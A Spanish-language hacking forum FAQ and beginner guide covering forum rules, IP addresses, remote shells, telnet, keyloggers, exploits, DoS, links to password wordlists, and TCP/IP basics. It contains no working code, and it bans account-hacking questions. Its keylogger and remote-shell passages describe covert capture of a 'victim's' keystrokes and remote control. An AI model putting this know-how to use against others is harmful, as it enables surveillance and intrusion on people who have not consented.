Preguntas Frecuentes y Guia de Hacking [30/Oct/09]

Iniciado por Rojodos, 26 Mayo 2003, 06:14 AM

0 Miembros y 1 Visitante están viendo este tema.

Rojodos

Como todos sabemos, este subforo esta cambiando y entre los cambios que notaran sera la organizacion de la informacion, mucha de ella esta bastante desactualizada y alguna hasta obsoleta a quedado, estos cambios no se daran de la noche a la ma*ana asi de que les pedimos un poco de paciencia a todos los usuarios.

Este post ademas de servir para responder las tipicas preguntas que nos hacemos cuando iniciamos en este mundo, nos servira de guia para darnos un panorama de lo que podemos hacer hoy en dia con un poco de ingenio ysobre todo de "curiosidad".


INDICE

PREGUNTAS FRECUENTES by Rojodos

CONCEPTOS BASICOS DE HACKING by Rojodos
- La ip
- Sacar IP por MSN y demas
- Localizacion de IPs
- Shell
- Telnet
- Hackear hotmail
- Keyloggers
- Bugs
- Exploits
- Shellcodes
- DOS
- Diccionarios de palabras

CONCEPTOS TCP/IP
- Introduccion
- Modelo de Internet
- Direccion IP
- Mascaras de sub-red
- Puertos
- Protocolos TCP, UDP y ICMP


CONTRASEÑAS EN WINDOWS
- Contraseñas en Win9x
- Contraseñas en Win 2k, NT y XP
Teniendo Acceso Local
- Entrar en modo a prueba de fallos
- Control Userpasswords2
- Por medio del protector de pantalla
- SamInside
- Datapol Cia Commander
- NTFSDOS
- Pwdump2
- Utilizando Exploits
- Utilizando un Live-Cd
Teniendo Acceso Remoto
- Sniffando las contraseñas

SUBIR ARCHIVOS A UNA VICTIMA POR TFTP
- Configurando el Servidor
- Subir un archivo
- Bajar un archivo

MAPEAR PUERTOS A UN ROUTER
- Introduccion
- Router Airlink
- Speedstream
- 2Wire

ESCANEO DE PUERTOS

COMPILANDO Y EJECUTANDO EXPLOITS *
- Introducccion
- Compilando y ejecutando el exploit ms04011-lsasrv

NETCAT by Kamsky

............

zhyzura

TIPICAS PREGUNTAS BASICAS:

- ¿Quiero ser un hacker... que hago? (quiero hackear, quiero aprender a entrar en ordenadores, etc etc etc....)

Hay algunos textos que te ayudaran a esto, no a ser un hacker (o un ingeniero de seguridad de sistemas)

http://foro.elhacker.net/index.php/topic,39296.0.html

http://foro.elhacker.net/index.php/topic,19194.0.html

Tambien puedes mirar al final de esta FAQ

- Necesito crackear el password de un archivo EXCEl, ZIP, RAR, WORD, PDF, etc etc etc....


Este foro esta orientado a la intrusion en sistemas informaticos, no al "crackeo" de passwords para aplicaciones comerciales. Eso va en el foro Software.

De todas formas, echa un vistazo a http://www.elhacker.net/hacking.htm que lo mas probable es que encuentres lo que buscas, en Crackeadores.

- Como saco una contraseña de hotmail, MSN, yahoo, como hago un "xploit" de hotmail, como recupero una cuenta hackeada, mi novia me engaña y quiero ver su correo, etc etc etc

Estas preguntas y las que traten del mismo tema esta PROHIBIDAS en el foro. Los mensajes con ese contenido, seran inmediatamente enviados a la papelera.

- Mis mensajes no estan!! Alguien los ha borrado!! Porque?


Porque habras incumplido alguna regla del foro, mira el post de ETICA Y DUREZA.

Los mensajes que traten de asuntos no permitidos (hack hotmail, vandalismo, etc etc) seran enviados a la papelera

Los mensajes que no tengan un ASUNTO (UN TITULO) coherente con su CONTENIDO (es decir, aquellos post con titulos como AYUDA, SOCORRO, No se usar esto, Importante!!!, etc etc etc...) seran RENOMBRADOS, añadiendoles el tag [MOD], de MODIFICADO.

Si tu mensaje NO CONCORDABA con el foro (Dudas Hack orientadas a intrusiones en sistemas informaticos), estara en OTRO foro donde SI debe estar. No se dejan mensajes de MOVIDO, debido a la cantidad de mensajes que tenemos que mover por culpa de los que no leen estas FAQs, ni tratan de ayudar a los moderadores a mantener el foro minimamente ordenado.

- ¿Como saco la IP de un contacto del Messenguer?

Antes de nada, eso va en el foro CHATS; IRC y MESSENGUERS. Aqui tienes un recopilatorio de mensajes con el mismo contenido. LEELO:

http://foro.elhacker.net/index.php/topic,25045.0.html

- ¿Como saco la IP de un correo que he recibido?

Lee el post de RECOPILACION DE POST INTERESANTES:

http://foro.elhacker.net/index.php/topic,19194.0.html

- Que son los troyanos, como funcionan, cuales son los mejores, (todo lo referente a troyanos) etc etc etc:

Mira el foro de TROYANOS Y VIRUS.

- Que son los keyloggers, como funcionan, cuales son los mejores, (todo lo referente a keyloggers) etc etc etc:

Mira el foro de TROYANOS Y VIRUS

- Donde consigo Linux? Como lo instalo? (todo lo referente a instalacio, optimizacion y demas de Linux)

Mira el foro de GNU/LINUX

- Como consigo @ en un chat IRC? Como saco del chat a un usuario que me esta molestando? Como nukeo a un contacto del MSN para que no se pueda conectar? Como hago cualquier cosa que se me ocurra en un chat del estilo que sea?:

Mira el foro de CHATS, IRC y MESSENGUERS

- Si mando un privado a un administrador/moderador/colaborardor, tienen el deber de responderme?

NO. Repito, NO. Y menos si tu pregunta esta respondida aqui, si es una tonteria manifiesta (de 180 mensajes privados que tengo, 100 son tonterias manifiestas), o aun peor, si con la pregunta incumples alguna norma del foro.

- Si mando un correo a un administrador/moderador/colaborador, tienen el deber de responderme?

NO. Lee la anterior respuesta.

- Donde encuentro tal o cual programa?

Viendo donde estas, deberias mirar en www.elhacker.net, que aunque no lo sepas, este foro tiene una pagina web.

Si no, antes de preguntar, conviene GLOOGLEIZAR un poco.

- Como envio mails anonimos? Programas para enviar mails anonimos? tal programa de mail anonimo no me funciona? servidores de correo para enviar mails anonimos? cual es el smtp de yahoo, de hotmail, de msn, de iespana, etc etc etc?

Todo estos mensajes seran movidos segun su contenido, o a CHATS; IRC y MESSENGUERS, o a SOFTWARE, o a la PAPELERA.

De todas formas, en RECOPILACION DE POST INTERESANTES puedes encontrar abundante informacion al respecto de estos post. Y sobre los programas, mira en :

www.elhacker.net/hacking.htm

ESPERO QUE NO SE REPITAN LAS PREGUNTAS QUE AQUI ESTAN CONTESTADAS. GRACIAS

zhyzura

#2
-- La IP --

La dirección IP es el identificador de cada host dentro de su red de redes. Cada host conectado a una red tiene una dirección IP asignada, la cual debe ser distinta a todas las demás direcciones que estén vigentes en ese momento en el conjunto de redes visibles por el host. En el caso de Internet, no puede haber dos ordenadores con 2 direcciones IP (públicas) iguales. Pero sí podríamos tener dos ordenadores con la misma dirección IP siempre y cuando pertenezcan a redes independientes entre sí (sin ningún camino posible que las comunique).

Las direcciones IP se clasifican en:

Direcciones IP públicas. Son visibles en todo Internet. Un ordenador con una IP pública es accesible (visible) desde cualquier otro ordenador conectado a Internet. Para conectarse a Internet es necesario tener una dirección IP pública.

Direcciones IP privadas (reservadas). Son visibles únicamente por otros hosts de su propia red o de otras redes privadas interconectadas por routers. Se utilizan en las empresas para los puestos de trabajo. Los ordenadores con direcciones IP privadas pueden salir a Internet por medio de un router (o proxy) que tenga una IP pública. Sin embargo, desde Internet no se puede acceder a ordenadores con direcciones IP privadas. Normalmente, en las redes locales, estas direcciones empiezan por 192.168.*.* (los * son cualkier numero desde 0 a 255).

Y otra cosa, tu propio ordenador se identifica a si mismo como LOCALHOST o como la ip : 127.0.0.1

A su vez, las direcciones IP pueden ser:

Direcciones IP estáticas (fijas). Un host que se conecte a la red con dirección IP estática siempre lo hará con una misma IP. Las direcciones IP públicas estáticas son las que utilizan los servidores de Internet con objeto de que estén siempre localizables por los usuarios de Internet. Estas direcciones hay que contratarlas.

Direcciones IP dinámicas. Un host que se conecte a la red mediante dirección IP dinámica, cada vez lo hará con una dirección IP distinta. Las direcciones IP públicas dinámicas son las que se utilizan en las conexiones a Internet mediante un módem. Los proveedores de Internet utilizan direcciones IP dinámicas debido a que tienen más clientes que direcciones IP (es muy improbable que todos se conecten a la vez).

Las direcciones IP están formadas por 4 bytes (32 bits). Se suelen representar de la forma a.b.c.d donde cada una de estas letras es un número comprendido entre el 0 y el 255. Por ejemplo la dirección IP del servidor de IBM (www.ibm.com) es 129.42.18.99.

Como veis, se puede asociar un dominio (ibm.com) a una IP. Esto es posible gracias a los servidores DNS (que convierten las IPs en los nombres y viceversa, ademas de muchas mas cosas....)

Si kereis saber la IP de la pagina www.soyunlammer.com, pues podeis probar esto (MSDOS o LINUX)

ping soyunlammer.com

Os saldra que trata de conectar con tal ip, pues ya la teneis.

Pero NO PODEIS saber la IP de www.usuarios.lycos.es/rojodoshax0rpowah porque es un directorio de usuarios.lycos.es, y no un nombre de dominio (en cambio, la IP de usuarios.lycos.es si la podeis saber, pero no os servira de nada, no os veo capaces de hackear lycos. Ni lo intenteis)

Pero SI PODEIS saberla con este itio:

rojodos.iespana.es ---> Esto SI ES UN NOMBRE DE DOMINIO, y su IP es distinta de iespana.es

El tener una IP de una ordenador no significa que ya podeis hackearlo. Es como si supierais donde vive un ladron, pero nada mas.

Fuente: http://www.saulo.net/pub/tcpip/a.htm#2-1

Mas informacion protocolo TCP / IP: http://foro.elhacker.net/index.php?board=15;action=display;threadid=430

Algunas cosas modificadas o añadidas por mi (Rojodos)

-- Sacar IP por MSN y demas --

http://foro.elhacker.net/index.php/topic,24234.0.html

http://foro.elhacker.net/index.php/topic,21537.0.html

http://foro.elhacker.net/index.php/topic,3116.0.html

http://foro.elhacker.net/index.php/topic,20310.0.html


-- Localizacion de IPs --

- localizador de ips
http://foro.elhacker.net/index.php?board=2;action=display;threadid=18761

- Whois de IP's:
http://www.nic.com/cgi-bin/whois.cgi
http://ws.arin.net/cgi-bin/whois.pl

- Información sobre una IP:
http://www.netcraft.com

- Localización de una IP:
www.elhacker.net/plot.php

- Scanners on-line que te dice tu ip:
http://www.elhacker.net/seguridad.htm#S%20c%20a%20n%20e%20r%20s

- Cliente traceador
http://www.visualroute.com

- Saber la region de la IP
http://foro.elhacker.net/index.php/topic,24907.0.html

SHELL

Ahora que ya vimos algo de teoria me gustaria dejar en claro el concepto de shell, si este no es el primer manual de hacking que tienen entre sus manos seguramente ya habran escuchado antes este concepto.

En muchos manuales de iniciación al hacking nos dicen que para ser un buen hacker primero tenemos que tener nuestra cuenta shell, para no andar con tantos rodeos voy a citar un fragmento de un manual que a la fecha sigue circulando por :

CitarDe hecho, pronto estarás aprendiendo trucos que arrojarán algo de luz sobre cómo otra gente puede acceder a partes no-públicas de hosts. Y serán trucos que cualquiera puede hacer.
Pero hay una cosa que realmente necesitarás conseguir. Te hará el hacking infinitamente más fácil:
UNA CUENTA SHELL!!!!
Una "cuenta shell" es una cuenta en Internet por la que tu ordenador se convierte en un terminal de uno de los hosts de tu PSI (Proveedor de Servicios de Internet). Una vez que estés en la "shell" puedes darle comandos al sistema operativo Unix justo como si estuvieses sentado delante de uno de los hosts de tu PSI.
Cuidado: el personal técnico de tu PSI puede decirte que tienes una "cuenta shell" cuando en realidad no la tienes. A muchos PSIs no les gustan las cuentas shell. Te preguntas ¿por qué? Si no tienes una cuenta shell, no puedes hackear!

Por si gustan leer este manual pueden buscarlo con el nombre de “GUÍA DEL HACKING (mayormente) INOFENSIVO” esta es una cita del volumen 1 (creo que estas guias llegaron hasta el volumen 3).
Como se podran dar cuenta se refiere a una shell como un interprete de comandos del sistema operativo UNIX, lo cual hasta cierto punto es cierto.
Debido a la gran cantidad de manuales de este tipo en Internet, es que nos encontramos a menudo con preguntas por todos lados del tipo:
¿Dónde puedo conseguirme una shell?
¿Qué es una shell?
¿Por qué mi shell no me funciona?
¿Es verdad que si tengo una shell me convertire en un gran hacker?

Para ir dejando las cosas en claro les voy a decir una cosa:
Una shell es un programa o elemento basico que nos permite interactuar de manera directa con nuestro sistema operativo, asi como tambien nos permite ejecutar comandos de forma mas sencilla para que las realice nuestra computadora.
Una shell sencilla del sistema operativo Windows seria el programa de MS-DOS el cual nos permite darle ordenes a nuestro Windows por medio del teclado, un equivalente de esta shell de Windows pero en GNU/Linux seria lo mismo que trabajar en la Terminal (perdonenme los Linuxeros por la comparación, pero es para que quede claro).

El termino de shell se da primordialmente a la linea de comandos de cada sistema operativo.

Cuando escuchen que se necesita obtener una shell remota, a lo que se refieren en realidad es a que tenemos que obtener una una linea de comandos de computadora lejana, de forma que si nosotros tecleamos dir o borramos un archivo por medio de ms-dos, no no la borre a nosotros sino que se la borre a un equipo lejano.

Por ejemplo tenemos dos computadoras, la computadora A y la computadora B, digamos que el usuario de la computadora A es muy listo y a obtenido una shell remota del equipo B, entonces el usuario A teclea en la shell, “md mi_carpeta” lo que estara haciendo sera crear una carpeta con el nombre “mi_carpeta” en la computadora B sin necesidad de estar sentado frente a ella.

Ahora bien volviendo en materia cabe decir que si nosotros somos unos usuarios fanaticos de Windows y queremos ejecutar programas de GNU/Linux desde una shell que conseguimos en esas paginas gratuitas, lo mas seguro es que no podamos utilizar todos los comandos de GNU/Linux y esto es por que todas las shell de este tipo estan capadas, la mejor solucion para este tipo de problemas es instalarse un sistema operativo GNU/Linux completo en nuestro equipo.

Con esto creo que queda en claro que si alguien dice que no tiene una shell por el simple hecho de tener Windows esta en un gran error, por que todos los sistemas operativos tienen una.

Espero haberme explicado lo suficientemente claro para no haber dejado a todos peor de cómo estaban.



TELNET

Este es otro tema que se malinterpreta en el mundo del hacking, la mayoria de las veces se tiene pensado que con hacer un telnet a una maquina remota ya podremos tener control absoluto de ella.

Telnet es simplemente una petición o llamada que hace una maquina al momento de ejecutarlo.

Por ejemplo si yo hago un telnet a al puerto 80 de alguna pagina, si bien nos va, nos mostrara los encabezados de dicha pagina y demas, pero nunca nos dara control de ella.

Como dije anteriormente nos sirve para hacer una llamada o petición, pero una forma de que nosotros pudiesemos obtener algo seria si por ejemplo teniamos un netcat a la escucha esperandonos con una shell previamente en un equipo remoto, solo de esta forma si podriamos obtener algo del equipo al cual estamos haciendo la llamada pero lejos de esto no podremos tener nada mas de el.

Por ejemplo si hacemos un telnet a un ftp de alguna direccion lo mas seguro es que nos pida un usuario y una contraseña después de eso:
C:\telnet 200.54.45.xx 23

Telnet no sirve para realizar ataques asi de que espero me haya explicado correctamente y haya quedado claro este punto.

-- HACKEAR HOTMAIL / MSN --

Las preguntas sobre obtener contraseñas de hotmail / msn estan completamente PROHIBIDAS en el foro. Los mensajes con tal contenido seran BORRADOS.

Aquellos que hayan perdido su contraseña, en la pagina web de hotmail --> www.hotmail.com encontraran suficiente informacion sobre como "recuperar" vuestra cuenta legalmente.

Hay una direccion para reportar abusos de cualquier tipo:

abuse_es@hotmail.com

Como nota final, el "hack hotmail" es de lo peor que hay entre la comunidad underground... espero que si buscabas esto en el foro, cambies de opinion.

-- KEYLOGGERS --

Que es un keylogger? Un keylogger es un programa que de forma oculta, GRABA las pulsaciones de las teclas del PC donde se este ejecutando.

Segun la complejidad del mismo, guardara tales pulsaciones en un archivo LOG en una carpeta oculta o escondida, a la espera que sean recogidos para su revision

Otros, mas sofisticados, envian dichos logs a un mail que especifiques, con lo que no tienes que ir a la victima a recoger lo que escribes. Algunos de ellos incluso llevan un mini-servidor SMTP para dicho envio.

Tambien muchos TROYANOS disponen de opcion de keylogger dentro de sus funciones. La mayoria de los troyanos clasicos tienen un keylogger mas o menos sofisticado.

Obviamente, muchos de ellos tienen addons adicionales, como LOGS cifrados por clave (para que la victima o otro "hacker" lea lo que han pulsado), aviso de apertura/cierre de aplicaciones, que solo recojan pares usuario:contraseña (como lo que hay debajo de los *******)

Es MUY NORMAL que los antivirus detecten a los keyloggers como virus o como peligrosos (solo teneis que leer para que sirven). Obviamente, la descarga de uno, en formato zip o incluso en EXE, no deberia alarmar, pues el Antivirus detecta el keylogger, lo cual NO SIGNIFICA QUE ESTEIS INFECTADOS. Otra cosa es que estupidamente o como prueba, ejecuteis el keylogger en vuestro propio sistema.

Tras esto, decir que los keyloggers de elhacker.net NO SON MALICIOSOS para el que los descarga, es decir, si los descargas, NO TE INFECTAS. Te infectas (o infectas a la victima) si se EJECUTAN.


-- BUGS --

Los bugs son fallos en el diseño / implementacion de software (fallos en la programacion normalmente) o hardware (fallos de diseño o de montaje). Estos fallos pueden comprometer al soft/hard, permitiendo que un atacante consiga algun privilegio, alguna informacion, o realize alguna accion para lo que el sistema no estaba programado / implementado.

Por ejemplo, el bug UNICODE de los windows (mas bien en los IIS...), permitia a los que visitaban una web pudieran acceder al directorio principal del disco duro donde estaba alojada la web, y ejecutar una shell con sus respectivos comandos.

Normalmente, los bugs en si no dan nada a los hackers, sino que estos programan "exploits" con los que atacar estos bugs (explicado en EXPLOITS en esta FAQ). Nuevamente, como ejemplo, las contraseñas de los Windows usando LM (LanManager) tienen varios bugs de diseño y algoritmizacion, que hacen que la contraseña no sea tan dificil de romper como deberia. Muchos crackeadores se basan en estos bugs para crackear dichas contraseñas rapidamente. El bug en si no permite nada, pero un exploit basado en ese bug si que lo permite.

Obviamente el caso del UNICODE por ejemplo no necesita exploit (aunq los hay) porque los chicos de Windows se lo curran mucho en la seguridad xDDDD

Hay bugs en los que el hacker no puede conseguir nada (informacion, privilegios) pero puede atacar a la makina, provocando un mal funcionamiento o incluso su caida o reinicio. Esto es llamado DoS (Denial of Service, Denegacion de Servicio).

La palabra "bug" es "bicho" en ingles, y viene de que una polilla (otros hablan de cucarachas) se instalo en la valvula de vacio de un ordenador antiguo (esos que ocupaban una habitacion entera) debido al acogedor calor que emitia. De ahi tambien viene Debugear o Debug, que es buscar el jodido bicho xD. En makinas, se refiere a la depuracion en ejecucion de un programa para encontrar los fallos del mismo.

-- EXPLOITS --
Que Son y ejemplos:
http://www.elhacker.net/exploits/

Como se usan:
http://foro.elhacker.net/index.php?board=32;action=display;threadid=11830

Foro Exploits:
http://foro.elhacker.net/index.php?board=32

-- SHELLCODES --

http://foro.elhacker.net/index.php?board=32;action=display;threadid=16513

-- D.O.S (Denial of Service) --

Un nukeador es un programa/aplicacion que provoca un D.O.S (Denial of Service - Denegacion de servicio) a una makina.

Este DoS puede provocar que se consuman muchos recursos de la makina, que se consuma mucho ancho de banda de conexion, etc etc... cuya unica finalidad es que la makina no pueda ejecutarse con normalidad, llegando incluso a provocar el blokeo de la misma con lo que tendria que reiniciarse.

En el IRC se solia usar en IRCWars, para tirar la conexion a los usuarios. En el MSN ha habido tambien varios nukes.

Tambien han sido famosos varios nukes que tiraban makinas Windows a traves del puerto 139 (Netbios)

Su utilidad es practicamente nula en el hacking.

-- DICCIONARIOS DE PALABRAS (WORDLISTS) --

Donde conseguir diccionario xa fuerza bruta
http://foro.elhacker.net/index.php?board=5;action=display;threadid=13920

Nombres de usuario/passwords
http://foro.elhacker.net/index.php?board=5;action=display;threadid=5231

Diccionario para ataques
http://foro.elhacker.net/index.php?board=5;action=display;threadid=931

De donde saco UserLists y Passwords
http://foro.elhacker.net/index.php?board=5;action=display;threadid=16086

Lista de Passwords por defecto:
http://foro.elhacker.net/index.php?board=5;action=display;threadid=22138



zhyzura

Conceptos TCP/IP

Introduccion

En este apartado se mostrara de una manera general los conceptos que conlleva el protocolo tcp/ip, aunque se empezaran a hacer un poco mas complejos conforme vayamos avanzando, yo se que es un tema bastante pesado para muchos usuarios a lo cual lo intentare ejemplificar de una manera clara y espero se comprenda completamente este tema por que es esencial para el entendimiento de diversos ataques y defensas que se pueden tomar para cada uno de ellos, asi como tambien entender lo que esta ocurriendo a cada paso que damos por Internet para asi sacarle provecho y de paso divertirnos un poco.
Si se brincan este apartado por flojera de leerlo o por que no les interesa en lo mas minimo este tipo de cosas dejenme decirles que este texto no es para ustedes y lo mejor sera se pongan a seguir de presumidos con sus amigos creyendose unos super hackers de elite y se pierdan en su ignorancia.

Antes de empezar primero dejemos en claro que es un protocolo.
Un protocolo seria una norma o ley a seguir para poder llevar a cabo un proceso (en este caso seria de comunicación), es como si fuera el idioma que la computadora va a seguir para comunicarse con otra, por lo tanto si queremos comunicarnos deberemos hacerlo con el mismo idioma, no creo que alguien que solo sepa hablar ingles pueda leer este texto ¿verdad?, asi de que ocupa saber hablar y escribir español para poder entenderlo.

Veamos los principales protocolos existentes en internet:
FTP: (File Transfer Protocol) Este es un protocolo diseñado exclusivamente para la transferencia de archivos que asegura que los archivos de transferiran sin errores algunos
HTTP: (HyperText Transfer Protocol) Protocolo de transferencia de hipertexto mayormente utilizado para la transmisión de paginas web.
SMTP: (Simple Mail Transfer Protocol) este protocol es utilizado para el envio de correos electronicos por medio de internet.
IMAP y POP3: (Internet Message Access Protocol) y (Post Office Protocol 3) ambos son protocolos utilizados para recepcion de correo electronico
IRC: (Internet Relay Chat) este protocolo es bastante conocido por muchos de ustedes, ya que permite la connexion de muchos usuarios a un servidor para asi conversar en tiempo real por medio de texto.
RTP: (Real-Time Transport Protocol) Este protocolo esta encargado de dar soporte a la transmission de voz y video por medio de internet.
Telnet: este protocolo nos permite iniciar sesion de manera remota en otro equipo a manera de terminal.

Se que hay mas protocolos pero conforme los vayamos ocupando se iran definiendo a si mismos.

El protocolo tcp/ip se llama asi mas que nada por sus dos protocolos mas importantes que lo conforman el protocolo tcp (Transmission Control Protocol) y el ip (Internet protocol).

Una de las principales razones por las cuales fue creado el protocolo tcp/ip fue conectar diversas redes, todo esto con la finalidad de compartir información entre ellas de manera rapida y segura(mas delante veremos que no tanto).
Antes que nada decir que una red es un conjunto de ordenadores que se encuentran conectados entre si para poder compartir información entre ellos (denominado generalmente como host cada uno de ellos), ya sean archivos o inclusive hasta dispositivos, como por ejemplo una impresora; un claro ejemplo de red seria un cybercafe que ofrece servicios de Internet a todo aquel que tenga ganas de ir a platicar con sus amigos.

Ahora bien, si ya sabemos que una red tiene diversos hosts conectados entre si, ¿como se haria para conectar diversas redes entre si?, la respuesta es muy sencilla, lo unico que se necesita es tener un equipo que este conectado a ambas redes y sirva como encaminador para cada una de esas redes, generalmente se uiliza un router(un poco mas delante veremos como es que lo hace) o un servidor (equipo que gestiona los archivos dentro de una red asi como tambien para proveer de algun servicio a las demas computadoras conectadas a el).
Aunque no lo parezca, Internet no es mas que muchas redes interconectadas entre si por diversos servidores.
Veamos un caso sencillo de una red:


Como veran nuestro router conecta a nuestra red de forma directa a Internet, ¿y si quisieramos unir otra red a esta que ya tenemos?, seria algo asi:


Si nos fijamos un poco podremos observar que la red 2, no esta conectada directamente a Internet pero no por ello quiere decir que no pueda acceder a el, la forma en la cual accederian las computadoras de la red 2 a Internet seria por medio de ambos routers los cuales se comunicarian entre si para poder hacer peticiones a Internet y que la red 2 pueda tener Internet.

En el segundo caso un usuario normal lo unico que veria seria una gran red pero no sabria que en realidad existen dos.
Una manera de saberlo es por medio de la ip que tiene cada una de las computadoras conectadas a la red ya que la ip esta conforma de dos partes:
[numero de red] – [numero de host]
Ejemplo:
Tengo dos ip's 192.168.0.1 y 192.168.2.1 a pesar de que ambas ips terminan de la misma forma no quiere decir que ambas se refieran a la misma computadora, en este caso la red estaria definida de la siguiente forma:
Red 1= 192.168.0
Red 2= 192.168.1
El siguiente numero corresponderia al numero de host que conforma a la red, que en ambos casos es el numero 1, por lo tanto ambas ips se refieren a equipos de diferentes redes(mas delante explicare el termino ip de manera mas completa).
Entonces si tuviéramos las ips:
192.168.1.3
192.168.3.64
192.168.1.200
192.168.6.68
La primer y la tercer ip corresponderian a ips que estan en la misma red y la segunda y cuarta corresponderian a otras dos redes distintas.



Modelo de Internet

Como usuarios de Internet nosotros siempre hemos tenido la necesidad de comunicarnos con otras computadoras, ya sea para ver una pagina web o inclusive para conversar por el Messenger con personas que se encuentran lejos de nosotros.
Cuando nosotros abrimos nuestro navegador y tecleamos la direccion de una pagina web la respuesta es casi instantanea por parte del servidor de dicha pagina (aunque en veces no lo notemos por culpa de nuestro querido modem de 56 k), pero en realidad son muchos los procesos que se llevan a cabo para poder verla en nuestro navegador, algunos procesos son mas complejos que otros pero no por eso deberemos de dejarlos aun lado.

Capas
Ahora bien para poder realizar una comunicación de host a host necesitamos de una serie de pasos a seguir, a esto es a lo que nos referimos cuando hablamos de capas.

El modelo TCP/IP esta conformado por 4 capas:

Capa de software o aplicación:
En este proceso es en cual el usuario hace una petición por medio de alguna aplicación en especifico, como por ejemplo nuestro navegador web, nuestro amado software p2p (en esta capa es donde entran los protocolos http, ftp, smtp, etc).

Capa de transporte
Esta capa es la encargada de ver como se llevara a cabo la comunicación entre ambos hosts, en esta capa se encuentran los protocolos tcp y udp.
El protocolo tcp es un protocolo orientado a conexión, esto es que verifica que los datos enviados lleguen a su destino, en cambio el segundo no lo es, y esto se debe a que una vez enviados los datos no se preocupa por saber si le llegaron al host de destino o no.

Capa de red o de Internetwork
Esta capa es la encargada de mostrar de forma virtual la ruta a seguir de los datos enviados. En esta capa el principal protocolo es el IP el cual no es orientado a conexión ya que no administra el control de flujo o de errores en la transmisión (de esto se encarga la capa de transporte), aunque tambien se encuentran otros protocolos como lo son el ICMP, ARP y RARP.

Capa de enlace
Esta capa seria la capa de hardware, aquí es donde se lleva a cabo la transmisión de los datos por el medio fisico, por ejemplo una wireless o una ethernet.
Veamos un dibujo en el cual se muestren las capas y la forma en que se realizaria la comunicación entre dos hosts para explicarlo de una mejor manera (esta parte es muy importante y espero no la pasen de largo).


Como se observa en el dibujo anterior, las flechas verticales son el flujo que se sigue al momento ya sea de enviar o de recibir los datos o mensaje que se quiera dar, esto es que de la capa de aplicación se tiene que pasar a la capa de transporte, no se puede pasar de la capa de aplicación a la capa de red por ejemplo.
Las flechas horizontales del dibujo nos indican que cada capa se comunica con su misma capa en el host de destino, esto es que la capa de enlace del host 1 se comunica solamente con la capa de enlace del host 2.
Dicho de otra forma, al momento de que nosotros queremos ver una pagina web, mandamos la petición empaquetada por medio del navegador (aqui nuestra petición seria ver una pagina web) a la capa inferior que en este caso seria la capa de transporte en la cual elige por medio de cual protocolo sera enviada la petición, para después bajar por las capas inferiores las cuales iran definiendo cada proceso, de esta manera cada capa tendra algo que decirle a su contraparte en el host de destino asi por ultimo el servidor leera la petición que dice "ver una pagina web" a lo cual respondera mandandole la pagina web que quiere y de esta forma parecera como si estuvieran hablando entre ellos de manera directa.

Normalmente se le conoce como pila tcp/ip al proceso anterior en el cual se lleva a cabo una petición y respuesta entre dos hosts.

Unas lineas mas arriba mencionaba que se tenia que empaquetar la petición para ser enviada a una capa inferior, para explicar el proceso de empaquetado recordemos que el atomo de una computadora es un bit, el cual es una unica unidad de almacenamiento conformada por un 0 o un 1(muchos conocen esto como codigo binario), pero como un bit no nos sirve para enviar mucha información, estos a su vez se agrupan en un byte (tambien llamdo octeto), el cual esta formado por la union de 8 bits, como muchos sabran un byte puede ser cualquier carácter de la tabla de codigos ASCII ("American Standard Code for Information Interchange" o "Código Normalizado Americano para el Intercambio de Información"), esto es que un byte puede ser un numero "9", tambien puede ser la letra "z" o tambien un simple espacio entre palabras.

El codigo ASCII esta conformado por 256 caracteres, esto es por todas las combinaciones posibles que se pueden dar entre los bits que estan dentro de un byte 28 = 256 (Recuerda que dije que estaba conformado por 8 bits y cada uno de ello puede tomar dos valores).
Lo que hace el codigo ASCII es asignar valores a cada byte por lo tanto un byte puede tener un valor tan alto como 255.

Quizas ahora muchos se pregunten ¿por que el valor maximo que se puede tomar es 255 y no 256 que es el total de valores que contiene la tabla ASCII? Es muy sencillo ya que no solo tomamos valores apartir del valor 1 sino tambien podemos tomar el valor de 0.
Tratare de explicarlo de forma matematica para que quede mas claro:
Ahora ya todos sabemos que podemos tomar todas las combinaciones posibles que nos resulten de combinar los valores de "0" y "1", una de esas combinaciones es colocar puros ceros en cada uno de esos 8 lugares (00000000), con lo cual llevamos una unica combinacion que es lo mismo que decir 2 elevado a potencia 0 (20=1), Observemos el siguiente dibujo:



Como veran el ultimo lugar lo ocupa 27, por lo tanto si sumamos el resultado de todas las potencia seria:

1 + 2 + 4 + 8 + 16 + 32 + 64 + 128 = 255

Que es igual al valor maximo que puede tomar un byte (mas delante retomare este tema cuando comience a explicar como esta conformada una ip).

Un conjunto de bytes y bits se agrupan en varios paquetes para ser enviados a la red y llegar a su destino, dicho de otro modo, primero tenemos que empaquetar nuestra información para que se pueda desempaquetar por el host de destino, pero eso no es todo lo que se envia sino que ademas se tiene que enviar un sello que verifique que nuestra información llego sin ninguna alteración o daño al destino, a este sello se le conoce como Prueba de Redundancia Ciclica (CRC, Cyclical Redundancy check).

Entonces si ya comentamos que se envia la información al host de destino debera de haber una forma de saber quien es el que la envia y a quien la envia (igual que cuando mandamos un correo o un paquete a nuestros amigos).

Si nos remontamos a nivel de red, por ejemplo una red ethernet, la direccion que se incluiria en el paquete ip seria la direccion de hardware, ¿Qué es esto de direccion de hardware? La direccion de hardware tambien conocida como Controlador de acceso al medio (Media Access Controller, MAC), es asignada por nuestra tarjeta de red al momento de ser creada por su fabricante, cada tarjeta de red tiene su propia dirección de hardware que es unica en el mundo, siendo una direccion de 48 bits, esto es que tiene un valor maximo de 248-1.
Cuando se crea un paquete y se envia por medios fisicos a la red (este proceso tambien es como conocido como trama) se utlizan varias capas de protocolos para empaquetarla y después ser enviada a la red por nuestra tarjeta de red.
Los paquetes tiene un espacio para que coloquemos la información del remitente y del destino, a este espacio se le conoce encabezamiento y tiene una longitud de 14 bytes para colocar las direcciones mac de origen y de destino, después de este encabezamiento seguirian lo datos que queremos enviar y por ultimo un espacio de 4 bytes para colocar la CRC (Prueba de Redundancia Ciclica).

Antes de continuar quizas muchos ya esten enfadados de tanta teoria y de andarme leyendo sin ver nada productivo asi como quizas tambien se esten preguntando ¿para que quiero saber esto del empaquetado y de los bits y de los bytes si esto es una guia de hacking? ¿Por qué voy a estarme molestando en aprender algo que en la escuela siempre se me hace aburrido? La respuesta para algunos sera algo logica aunque quizas para otros no tanto lo explicare con un sencillo ejemplo.

Imaginémonos que estamos dentro de una red de 40 computadoras conectadas entre si por medio de un router y en la oficina de al lado esta una persona que esta transfiriendo datos importantisimos para el a otra computadora en Internet...
Observando este proceso un poco mas a fondo nosotros sabemos que antes de que la información salga a Internet tiene que pasar primero por el router que es el que organiza nuestra red.
